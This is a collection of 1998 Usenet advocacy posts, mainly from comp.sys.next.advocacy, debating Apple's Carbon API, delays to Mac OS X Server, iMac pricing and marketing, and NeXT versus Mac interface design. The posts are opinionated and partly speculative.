>> >"abstract framework...
>> ----^^^^^^^^^^^^^^^^^
>> How is an API not an "abstract framework"?
>Why should I answer this? How is an elephant not a cow? It just isn't.
>
>Better would be for you to explain what makes Carbon an "abstract
>framework".
The terms "framework" and API are often used interchangeably. You can
check this out by looking up any of the books written by Bruce Eckel
(Thinking in C++ should be on the shelf of any good C++ person where
you work) or Gary Entsminder (sp?)
In the both the "Tao of Objects" and "The way of Delphi", Mr Entsminder
uses the term "Application Framework" to mean "O-O API".
The YellowBox documentation refers to FoundationKit and ApplicationKit as
frameworks that provide APIs.
I can provide page numbers if you want.
How do you define "abstract framework"? Would you agree to this:
"The interface by which an application program accesses operating
system and other services and provides a level of abstraction between
the application and the kernel."
>> Carbon is built into new versions of both MacOS and Rhapsody (AKA MacOSX).
>> Ponder this:
>> 1) Carbon is an API
>> 2) Apps writen to the Carbon API will run on both MacOS and on MacOSX
>> (which is based on Rhapsody)
>The intent of the "abstract framework", in the context of my original
>comments, would have been to build something that could eventually
>generate Toolbox code on the MacOS and Yellow Box code on Rhapsody and
>successors.
And how many years would this have taken? Developers are using the carbon
dater tool _NOW_.
And how are you going to convince Mac ISVs to port to a new API when
Apple couldn't convince them to port to YellowBox?
>> 3) Carbon is a two-way tool, Apps can be built on either MacOS or OSX and
>> deployed to either.
>> 4) The prime reason for Carbon was to provide existing MacOS ISVs a way
>> to protect their investments in MacOS code.
>So?
Your solution sounds like "Dump all your code and port to my new API"
When Apple tried this with YB, the ISVs were not interested.
Apple wanted ISVs to port MacOS code to YB code via latitude, and then
deploy anywhere YB could run. That would include MacOS and Rhapsody. This
sounds exactly what you are saying. Have MacOS ISV port to a new toolkit,
then deploy wherever this toolkit can deploy.
Heck, when IBM tried this with OS/2, they got the same response. When Sun
pitched it's PWI (public windows interface) that would allow the porting
to Solaris of 16bit win3.1 apps with only 10% of the code changed, they
got the same indifferent response.
Why would your toolkit, that currently doesn't exists, be a better solution
than Carbon?
>> That sounds a lot like what you suggested back in 12/97. I am surprised
>> that you aren't gloating about how Apple is now listening to your sage
>> like advice.
>Speak for yourself. Anyeway, I know what I said and what I meant. Carbon
>does not solve the cross-platform solution;
For Apple's ISVs it does. And most (if not all) have signed on for it.
> all that Apple has done with
>Carbon on MacOS X is to build a better Blue Box.
Carbon has nothing to do with BB. Apps written in Carbon _are_ native Apps
that take advantage of most (if not all) of the functionality of MacOSX.
> Effectively, you could
>be saying that the original Toolbox was an "abstract framework", since
>you could build and run original Toolbox applications on either MacOS or
>Rhapsody + Blue Box.
Apps running in the BB do not take full advantage of MacOSX. They do not
gain PMT or PM. Any App can crash the BB, this is not the case with Carbon.
>It removes the reason for building Rhapsody/MacOS X in the first place,
No it doesn't. Carbon doesn't add PMT or PM to MacOS, it takes advantage
of it on MacOSX.
>fruitless. Instead of buying NeXT, Apple may as well have put together a
>BSD distribution, dreamed up this Carbon idea, and built it upon the BSD
>base.
The one thing that prevented this was Gil's shortsightedness. There is
_zero_ NeXT technology in Carbon.
>Or it could have released a Blue Box for one or more Unices, like Linux,
>and just made it popular for foreign users to run MacOS apps on their
Apple had this, the MAE. It was killed by Gil and resurrected by Steve
to become the BB. They only thing that prevented Apple from doing this
was a decade of clue deficient management. Heck, they could have built
Carbon on AU/X and made that the default PPC OS rather than porting
System7.
>It probably wouldn't have been better than sticking to the original
>Rhapsody plan, which threatened to undo the market with its coolness.
The original Rhapsody plan depened on ISVs porting code (via latitude)
to YB. Once they did that, that code would not run as a native MacOS
App. The ISVs did not want to do this.
>> Gil could have had Carbon on Solaris and AIX on the PowerPC (and maybe
>> MkLinux as well) if he wanted. You would probably be able to buy it
>> today.
>Perhaps. That would have been a different strategy than the one he
>proclaimed when he authorized the NeXT purchase, so I'm not sure what
>you're saying.
I'm pointing out that Apple had everything it needed to provide MacOS
ISVs with a better OS, while protecting their investments in MacOS
code; but, failed to act on it due to poor leadership. Five years later,
they have someone in charge that has the necessary clue collateral to
invest in a plan that will provide the one thing that Mac users and
Mac developers have been asking for, a better base OS.
> As far as I can tell, Gil wanted to compete with Unix in
>the desktop workstation market while making Windows invisible.
Huh? AFAIK, Gil had no plan at all. Can you point to anything to
back up your statement that Gil wanted to compete with Unix in
any market? Gil moved Apple out of PowerOpen. It doesn't look like
he had any Unix plans at all.
> What
>you're talking about would be pretty much the opposite: compete with
>Windows (since MAE would almost certainly never run on Windows)
----------^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Why not? Endian issues?
> and make
>the vendors' Unices invisible. That doesn't really make any sense.
???
It is odd to hear you say that, you had repeatedly advocated that
Apple get out of the OS business and concentrate on porting its
UI and frameworks onto any system that can run them.
>Gil planned a
>strategy that would have enabled app-creation in a cross-platform way
>with native speed, using an application framework that could be easily
>ported to emerging platforms
I never heard this from Gil, can you point to any statement where he
stated this as his plan?
>Unfortunately, Jobs killed the PPCP
>phenomenon and this scenario became impossible.
Huh? The "PPCP phenomenon"? By the time Jobs steped in, Solaris PPC
was dead, FirePower systems was sold to Moto and was quickly shrinking.
MacOS was the only PPC OS that was shipping in any volume.
>Oh well, we don't know if it ever happened, anyway. MAE was languishing
>with minimal support from Apple management long before Gil stepped in.
If Gil had not been so shortsighted, he might have seen the efforts of
the MAE team to produce a way to port Mac Apps to other OSs, and helped
save Apple $400 million.
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Sat, 10 Oct 1998 08:59:53 GMT
Organization: MiCMAC
Message-ID: <F0Lszt.Hvp@micmac.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <01bdf3a3$25edc440$06387880@chewy>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
NNTP-Posting-Date: 10 Oct 1998 11:50:05 GMT
Cc: todd@dev.null
This was written in comp.sys.next.advocacy
(<01bdf3a3$25edc440$06387880@chewy>) by "Todd Heberlein (todd at NetSQ dot
com)":
> Time for the conspiracy theories. :-) (please take as *fun* only)
>
> o New features. Boring, but not unreasonable. We've heard rumors of
MacOS
> 8.5 serving as the BlueBox. If that is the case, they obviously can't
> release OSXS before releasing 8.5.
Makes sense!
>
> o Technical problems. Possible, and if so, unsettling. However, I doubt
> this given how rock solid it was even a year ago, much less the release
> last spring.
Don't think so...
>
> o Timing. Jobs is trying to space out the timing of the big events to
keep
> up a steady drum beat of good news. Just as the excitement as iMac slows,
> 8.5 is to be released. Let the light shine on it for a few weeks, and
then
> release OSXS.
Yes! The main reason!
>
> o Maximize profits. Wait until lots of people have purchased 8.5, and
then
> release OSXS for them to buy. In short, get lots of people to buy two
> operating systems.
This is accessory to the precedent...
>
> o Its too darn good. If the public really new how good OSXS was, no one
> would want to buy 8.5 as a stand alone product.
>
Sure! We all know that here! But not everybody is aware... ;)
mc
Newsgroups: comp.sys.next.advocacy
Subject: Re: Source code for Quake II (OpenStep?)
References: <361DF901.898@issl.atl.hp.com> <19981009114723.02705.00005481@ng82.aol.com> <3621c05a.0@uni-wuerzburg.de> <see-below-1210980330210001@dynamic21.pm01.mv.best.com>
From: sdroll@NOSPMmathematik.uni-wuerzburg.de (Sven Droll)
Message-ID: <362223de.0@uni-wuerzburg.de>
Date: 12 Oct 98 15:44:30 GMT
see-below@not-my-address.invalid (Dohnut) wrote:
>In article <3621c05a.0@uni-wuerzburg.de>,
>sdroll@NOSPMmathematik.uni-wuerzburg.de (Sven Droll) wrote:
>
>> willadams@aol.com (WillAdams) wrote:
>> >
>> >"Joseph K. Vossen" <jkv@issl.atl.hp.com> asked:
>> >>are the NeXTSTEP level editors available for public consumption?
>> >
>> >I just saw the source code for this available on Peanuts (game/action) as
I
>> >recall. There's a note there from Carmack, I think it was, detailing it.
>>
>> On peanuts is QuakeEd. It would be cool, to have the original id DoomEd
>> publically available.
>
>
>I'm surprised it's not available. You can get the source for the game
>(Doom) itself.
... but you (<- me) cannot reach id-people for asking them about releasing
their Editor (my mails cannot convince their mailsoftware that it is not
totally SPAM, but on the other hand I am only a very small customer with my
three copies of Doom ;-))
Sven
--
Sven Droll __
______________________________________________________/ / ______ __
sdroll@mathematik.uni-wuerzburg.de / /_/ ___/
please remove the NOSPM from my reply-address /_ _/ _/
=====\_/=======
LOGOUT FASCISM!
___________________________________________________________________
NeXT-mail or MIME welcome ;-)
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: XoX for MacOS X :-)
Date: 12 Oct 1998 15:42:14 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf5f5$0d2b0e00$06387880@chewy>
Now I really want MacOS X Server... The XoX family will be available for it
:-)
http://www.stepwise.com/StepwiseReport/October11_1998.html
http://www.ensuing.com/freebies/xox/
From: not@my.address.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 10 Oct 1998 18:02:32 GMT
Organization: Arizona State University
Message-ID: <6vo7fo$342$1@news.asu.edu>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de> <pulsar-ya02408000R0510981301030001@news-proxy.cso.uiuc.edu> <36196301.72F98584@nstar.net> <6vc263$19a$1@msunews.cl.msu.edu> <3619B2E5.19831926@nstar.net> <slrn71l49m.3r3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <361A9F92.1D9F3A3@ericsson.com> <6vg59f$n46$1@nnrp1.dejanews.com> <361BBA99.D34D864D@ericsson.com> <6vjjsu$l4d$1@news.asu.edu> <361E6B13.E7C8363E@ericsson.com>
In-Reply-To: <361E6B13.E7C8363E@ericsson.com>
On 10/07/98, Michael Peck wrote:
>Your posts have a unique way of displaying just what kind of person you
>are. It didn't take long to figure you out, Chuck.
Then, having taken a couple of days to think it over, on 10/09/98, Michael Peck
wrote (quoting me):
>> I agree. He's informative, thoughtful, and generous with his time. Whenever
>> I do a DejaNews search on a technical topic, I pull up detailed posts that
>> stretch over years explaining something of interest about NEXTSTEP/OPENSTEP.
>
>Well, I'm inclined to agree with all of the above.
>
Terrific. Then we can give the ad hominem arguments a rest.
--
invert: umich.edu jdevlin
insert: shift "2"
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Message-ID: <edewF0q6F8.Mq7@netcom.com>
Sender: edew@netcom14.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6vopcc$1p8@news1.panix.com> <edewF0Myu5.D8B@netcom.com> <6vr62c$rtb@news1.panix.com>
Date: Mon, 12 Oct 1998 17:40:20 GMT
In article <6vr62c$rtb@news1.panix.com> sal@panix.com writes:
>On Sun, 11 Oct 1998 00:03:41 GMT, Eric Dew <edew@netcom.com> wrote:
>>Sal, again, if Apple drops prices, the only thing peope will see is that
>> * Oops, they paid too much the first time at $1299
>
>Sorry, I don't follow this at all. Prices of consumer electronics drop all
>the time. My first CD player cost me over ~$300. Now that I can buy them for
>less than that, I don't feel in any way cheated.
It would be if you paid $1299 for it in August and see it selling for $999 in
November.
>> * The iMac isn't any different than any other machine (regardless of
>> whether that's the case or not)
>
>Let me let you in on a secret. The iMac is just a computer.
>
You really don't understand marketing do you? Why is it that people are
willing to pay $2 for a bottle of Evian when they won't drink the water from
their tap? It's marketing. Let me tell you a little secret: Evian is
water.
>>Apple must stick to its guns and keep the price point. Secondly, they should
>>redouble marketing efforts to distinguish the iMac as *THE* internet-ready
>>machine and that all other "i-"machines are just chintzy knock-offs.
>
>Apple tried this for about a decade and it didn't work.
>
>>If Apple needs to compete in the low price arena -- and I have yet to see
>>a compelling reason to do so -- it should create a iMac-lite instead of
>>dropping the price on the original iMac.
>
>Why not create an iMac+ at $1299, and then drop the price of the current
>iMac to $999? The costs of building the iMac have (undoubtedly) dropped.
>
There is also another force in play: the resellers like CompUSA and Fry's
are doing a brisk business at $1299. They'd be happy to sell them at $1299
if Apple drops their end of the price. So, Apple should keep the price up
because Fry's et al., would be more than happy to keep the price up.
(Of course, there are agreements between distributors and manufacturers on
what the price can be, so it's not so easy for Fry's or T-Zone or whoever
to set the price any any value.)
EDEW
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Date: 10 Oct 1998 15:13:25 GMT
Organization: Primenet (602)416-7000
Message-ID: <6vntil$mvp$1@nnrp02.primenet.com>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net>
I've decided to post a fearless prediction:
I predict that Apple will respond to the rising support
for Linux by halting support for MkLinux.
I figure I'll be right, or gloriously wrong, but it's a morning for taking
chances :-).
John
From: "Dude" <jonny_36@hotmail.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: 10 Oct 1998 15:30:44 GMT
Organization: ICAN.Net Customer
Message-ID: <01bdf462$dcd104a0$42d89a8e@zeus>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com>
Sorry dude but it wasn't Apple that came up with the Windows Gui it was
Xerox and Apple "borrowed" it from them, just like MS "borrowed" the
concept from Apple.
Dude
T. Max Devlin <mdevlin@eltrax.com> wrote in article
<363bd443.79179339@news.supernews.com>...
Michael Peck <mjpeck@nstar.net>, on Sun, 04 Oct 1998 23:18:12 -0500,
>jmz@southwind.net wrote:
[...]
>I think Windows is "mostly right". The modern GUI is a product of
>Apple's original research, to be sure, but nowadays it's difficult to
>find a GUI that deviates from the norm in any significant ways. Windows
>has all the basic GUI elements and many more, besides; Windows 98
>features a great many things which my last experience with MacOS lacked.
>All in all, Windows 98 is a robust GUI that does everything one expects
>it to do.
As a GUI, I agree with you, Windows is very good. As an OS, it's
camel dung.
[...]
>I like to whine to friends that no new things have been done with the
>GUI in the past decade. I really think that the concept has plateaued
>(which is unnecessary and unacceptable), and that preferential treatment
>is just playing favorites.
I believe that over the next ten or fifteen years of your life, you
will turn completely around on whether you think having development
of something plateau is necessary and acceptable. :-)
But I don't agree with your statement that there are no new things
done with the GUI in the past decade. I truly think Microsoft has
done almost as well with GUI development as would have been the case
if there had been half the market for half the time but with a
competitive/compatible development model. Which is saying a lot for
Microsoft, to be honest. But then, they're the ones with all the
capital.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Microsoft, Cisco "unprofitable"
Date: 12 Oct 1998 21:16:12 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6vtris$kbj@newsb.netnews.att.com>
Originator: gupta@tlctest
According to this URL, after taking employee stock options
into account, Microsoft and Cisco are "clearly unprofitable".
http://webserv.vnunet.com/www_user/plsql/pkg_vnu_news.right_frame?p_story=65403
-arun gupta
Date: Sat, 10 Oct 1998 17:09:25 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Message-ID: <joe.ragosta-1010981709250001@elk68.dol.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <363bd443.79179339@news.supernews.com> <01bdf462$dcd104a0$42d89a8e@zeus>
In article <01bdf462$dcd104a0$42d89a8e@zeus>, "Dude"
<jonny_36@hotmail.com> wrote:
> Sorry dude but it wasn't Apple that came up with the Windows Gui it was
> Xerox and Apple "borrowed" it from them, just like MS "borrowed" the
> concept from Apple.
Check your facts. You'll find that Apple paid for what they got from Xerox.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
Date: Sat, 10 Oct 1998 17:35:36 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Message-ID: <joe.ragosta-1010981735370001@elk68.dol.net>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net> <6vntil$mvp$1@nnrp02.primenet.com> <361F8E3E.846E629B@yahoo.com>
In article <361F8E3E.846E629B@yahoo.com>, Robert Fovell
<rfovell@yahoo.com> wrote:
> John Jensen wrote:
>
> > I've decided to post a fearless prediction:
> >
> > I predict that Apple will respond to the rising support
> > for Linux by halting support for MkLinux.
> >
> > I figure I'll be right, or gloriously wrong, but it's a morning for taking
> > chances :-).
>
> Mac OS X Server is now rumored to be released next month. In anyone's
> opinion, will the release of MOSXS obviate the need to keep MkLinux around?
> Do they not share much in common? Is there anything MkLinux can do that
> MOSXS certainly will *not* be able to do? One might also factor in the
> presence of LinuxPPC....
Just a few guesses off the cuff:
1. Mac OS X Server will undoubtedly be more expensive than Linux. Probably
_much_ more expensive.
2. You won't have the source code for Mac OS X Server. If you like hacking
the kernel, you'll want Linux.
3. I don't know about application availability. I would imagine that most
Mac OS X Server Yellow Box apps will be commercial. I don't know about the
apps which run on the Unix layer.
4. Just a guess, but Mac OS X Server is probably going to be a bit slower
on equivalent hardware since it has so much more installed by default.
5. Mac OS X Server is probably going to be more suitable for the
non-hacker crowd and will probably have better ease of use.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac really so innovative?
Date: Sat, 10 Oct 1998 23:51:04 +0100
Organization: -
Message-ID: <1dgouuz.53oj5jwnw5uvN@quern.demon.co.uk>
References: <01bdf39e$caa75c30$06387880@chewy>
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> Is the iMac really revolutionary? I seem to recall the original Macintosh
> was conceptually very similar.
Quite. But then, the only previous Mac equivalent which has been so
affordable was the Classic.
The iMac is clearly a marketing and design triumph primarily - technical
issues come second. IMHO, this is *exactly* what makes the machine so
innovative. Quick - name another computer which isn't sold on its
specifications?
But still, we do seem to have spent fourteen years coming right back to
where we started. [shrug] Perhaps that's no bad thing.
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter (Pascal)
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Sat, 10 Oct 1998 23:51:09 +0100
Organization: -
Message-ID: <1dgov4x.18gxm0pfeghaoN@quern.demon.co.uk>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <01bdf3a3$25edc440$06387880@chewy>
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> Time for the conspiracy theories. :-) (please take as *fun* only)
Microsoft has done a deal with Apple, whereby MacOS X will be delayed.
Why? Because WebObjects running on multiple G3s via MacOS X is the only
way the DoJ can cross-reference the vast quantities of information they
need to nail Microsoft in the anti-trust case. Without WO/X, the case is
lost.
Forget QuickTime; *this* is what Avie is testifying about. The burning
question, of course, - what do Apple get in return?
...or maybe they're just using 8.5 as the Blue Box, rather than 8.1.
This could hardly be done before 8.5 is released, could it? Pity,
though - I was hoping they might pull a Be and give away X Server on the
8.5 CD so we all had a 'preview.'
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter (Pascal)
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: MJP theorizes Carbon, months before Jobs announced it!!!
Date: 10 Oct 1998 23:07:54 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vopca$1p8@news1.panix.com>
From 12/97
In article <347CF646.35A9@convex.hp.com>:
>I would develop a porting tool that worked *both ways*. In fact, the
>optimal solution would be to provide an abstract framework that could be
>loosely built into new versions of both MacOS and Rhapsody. To smooth
>the boundaries a bit.
And now that it is here, he thinks it is a bad idea?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Date: 10 Oct 1998 23:07:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vopcc$1p8@news1.panix.com>
References: <edewF0KtpJ.866@netcom.com>
On Fri, 9 Oct 1998 20:17:43 GMT, Eric Dew <edew@netcom.com> wrote:
>Several weeks ago, Sal Denaro and I posted some discussions on whether Apple
>should product sub-$1K machines.
>
>While this article is hardly peer reviewed for accuracy, it does say that
>going sub-$1K is not a good bet:
>
>http://www.sfgate.com/cgi-bin/article.cgi?
> file=/chronicle/archive/1998/10/09/BU62667.DTL
I didn't take it as saying that it would be bad for Apple to move into the
sub $1k market at all.
eMachines is planning to have a sub $700 iMac like machine next year, there
is no reason why Apple couldn't have an $800 iMac next year. Branded products
are usually priced higher, the more the "brand" is worth, the more they can
charge. Apple might be able to get away with a 10% to 20% premium over the
AVG brand price. A $500 machine doesn't mean that Apple is out of the low end
game, it just means that they have to provide more for the money.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 10 Oct 1998 23:07:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6vopcb$1p8@news1.panix.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com>
On Fri, 09 Oct 1998 16:16:37 GMT, Charles Swiger <chuck@codefab.com> wrote:
>In article <6vkvvk$886$1@wbnws01.ne.highway1.com>,
> jkheit@mediaone.net wrote:
>> I don't think there is any way around this. Mac OSX S is late. Originally
>> it was due out before Sept., if memory serves. Then the date has been pushed
>> up and up. And now we're in October, and the rumblings are year end.
>The best guess I've heard is to not conflict with the MacOS 8.5 release, but
>it could be from problems finishing the feature set, nailing down a final set
>of bugs, or whatever else, too.
I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
to ship with it. This statement was made by a WO guy at Apple I know.
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Message-ID: <forrestDELETE-THIS!-1210981719270001@term4-20.vta.west.net>
References: <6vr62c$rtb@news1.panix.com> <edewF0q6F8.Mq7@netcom.com> <forrestDELETE-THIS!-1210981335180001@term1-16.vta.west.net> <edewF0qn8w.E0F@netcom.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Mon, 12 Oct 1998 17:19:26 -0700
NNTP-Posting-Date: Mon, 12 Oct 1998 17:18:33 PDT
In article <edewF0qn8w.E0F@netcom.com>, edew@netcom.com (Eric Dew) wrote:
> People's perceptions are easily swayed by a nifty marketing. I'll bet
> that I can give you plain tap water (from Menlo Park, CA) and Evian and
> several others and you can't distinguish which is your "favorite."
I've never seen a commercial for Evian or Crytal Geyser, but I prefer
Crystal Geyser. And I can definately tell the difference between them, in
identical cups, and from tap water as well (I live in Ojai, CA, near Santa
Barbara. never heard of Menlo, but we're probably pretty close, and most
of CA gets it's water from the same sources).
> Is coke better than pepsi? Yeah, they tast different, but it's hard to
> claim that one is "better" than the other.
Exactly, my point about taste. I prefer Coke to Pepsi, but I know others
who prefer the contrary. We both agree, however, that they each taste
better than sewer water.
However, your point about marketing is correct, it does influance people
very much, but just like neither JUST price/performance/appearance/etc
will sway a customer, it's not JUST marketing which does this. Just
because a product sells well and has good marketing doesn't mean that the
merketing is the only good feature about it; it may really be a good
product, like the iMac or Evian or Coke.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: Robert Fovell <rfovell@yahoo.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Post your prediction!
Date: Sat, 10 Oct 1998 15:40:05 -0700
Organization: University of California, Los Angeles
Message-ID: <361FE21E.C14A5DFC@yahoo.com>
References: <macghod-2309981539130001@sdn-ar-002casbarp185.dialsprint.net> <6ud9va$esu$1@readme.online.no> <3618e850.6982506@news.chicagonet.net> <6vntil$mvp$1@nnrp02.primenet.com> <361F8E3E.846E629B@yahoo.com> <joe.ragosta-1010981735370001@elk68.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> Just a few guesses off the cuff:
>
> 1. Mac OS X Server will undoubtedly be more expensive than Linux. Probably
> _much_ more expensive.
More expensive than Linux is, I think, quite defensible. More expensive than NT
is, IMHO, suicide...
> 2. You won't have the source code for Mac OS X Server. If you like hacking
> the kernel, you'll want Linux.
I've had to recompile the kernel in Linux. It is not fun -- not to me. I expect
a more elegant solution from an entity like Apple. It's what I would be paying
for.
> 3. I don't know about application availability. I would imagine that most
> Mac OS X Server Yellow Box apps will be commercial. I don't know about the
> apps which run on the Unix layer.
As long as the thousands of freely available Unix programs compile and run in
that layer, I'll be very happy... I'll have everything I now have with Unix and
Linux boxes -- and with my Mac boxes -- and *more*...
> 4. Just a guess, but Mac OS X Server is probably going to be a bit slower
> on equivalent hardware since it has so much more installed by default.
IIRC, the Mach kernel it is based on (and shares with MkLinux) is slower than the
alternative used in LinuxPPC and some (all?) PC-based Linux versions. I'll
sacrifice some speed for power and ease of use any day...
> 5. Mac OS X Server is probably going to be more suitable for the
> non-hacker crowd and will probably have better ease of use.
That's me :-) That's what I want. If I wanted to hack away at things, I'd have
built my own PC, recompile the Linux kernel for breakfast, change my own oil, and
drive a car I'd have to live under the hood of just to keep it running. Instead,
I like Macs and Hondas. Things that work with a minimum of fuss.
If MOSXS can - by and large - bring Mac ease of use, integration and elegance to
Unix raw power -- that is worth one *heck* of a lot.
--
Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
http://uniblab.atmos.ucla.edu/~fovell
"That's not what a Mac does. I want Mac on the PC.
I want Mac on the PC." -- Bill Gates
Message-ID: <3620076A.5FA93D46@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
References: <6vopca$1p8@news1.panix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sat, 10 Oct 1998 21:19:21 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 10 Oct 1998 20:18:34 -0500
Sal Denaro wrote:
> In article <347CF646.35A9@convex.hp.com>:
> >I would develop a porting tool that worked *both ways*. In fact, the
> >optimal solution would be to provide an abstract framework that could be
> >loosely built into new versions of both MacOS and Rhapsody. To smooth
> >the boundaries a bit.
>
> And now that it is here, he thinks it is a bad idea?
I wouldn't have thought it needed pointing out that Carbon is not an
"abstract framework...loosely built into new versions of both MacOS and
Rhapsody"...
MJP
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <130943489252382208@xdaowgqa.ca> ignore no reply
Control: cancel <130943489252382208@xdaowgqa.ca>
Message-ID: <cancel.130943489252382208@xdaowgqa.ca>
Date: Tue, 13 Oct 1998 01:19:03 +0000
Sender: fire4knight@xdaowgqa.ca
From: andrew@erlenstar.demon.co.uk
Organization: Annihilator v0.3
0i0i0i0i0i0i0i0
Spam (EMP) cancelled - type=NAPRO
Date: Fri, 09 Oct 1998 11:00:53 -0500
From: alex@WebIS.net (Alex Kac)
Subject: Re: Mac OS X server delays
Message-ID: <alex-0910981100530001@cs48-17.austin.rr.com>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com> <361D0F2A.22B8@earthlink.net>
Organization: Web IS
Newsgroups: comp.sys.next.advocacy
In article <361D0F2A.22B8@earthlink.net>, skellener@earthlink.net wrote:
>Alex Kac wrote:
>I'm hoping they'll put in a good ol' Apple Mac OS X Finder in there.
>
>I'm hoping they'll put back in the good ol' NeXT File Viewer myself.
>Then you won't need a "Finder".
>
>Steve
Sorry, the NeXT File Viewer was a pain in the a**, except for the really
great browser view. I used the NeXT 3.3 OS and even there, I went to the
command line for some of my file management. Why can't I have two darned
windows easily open so I can drag tween them? Why must I have to create a
new viewer and then navigate again there? It was a waste of time and brain
power. I don't want file management to be something I have to really think
about.
Rhapsody DR2 fixed some NeXT shortcomings, but introduced so many more.
Its the main reason I couldn't work in DR2 for more than an hour. Its the
main reason I spent most of my time in NeXTStep 3.3 either in the command
line or in an app. The fileviewer was just too thought intensive to work
well. (When I'm working on a project, having to stop what I'm thinking
about and then start thinking about how to use the FileViewer really
disrupts productivity).
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Everyware Alliance Member
http://www.WebIS.net
From: pmfisher@eskimo.com (Pat Fisher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
